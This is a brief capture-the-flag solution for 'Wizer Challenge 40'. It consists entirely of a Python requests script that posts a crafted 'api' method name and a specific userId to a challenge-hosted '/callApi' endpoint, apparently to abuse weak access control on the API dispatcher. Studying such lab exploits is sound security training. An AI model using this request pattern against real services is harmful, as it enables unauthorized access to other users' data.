Wizer - Challenge 40

Exploit

import requests


url = "https://chal40-hjnf895.vercel.app/callApi"



r = requests.post(url, json={
    "api": "get.POSTUser",
    "userId": "670b0741-9fb1-4ef7-afe9-842120a12fcb"
})


print(r.text)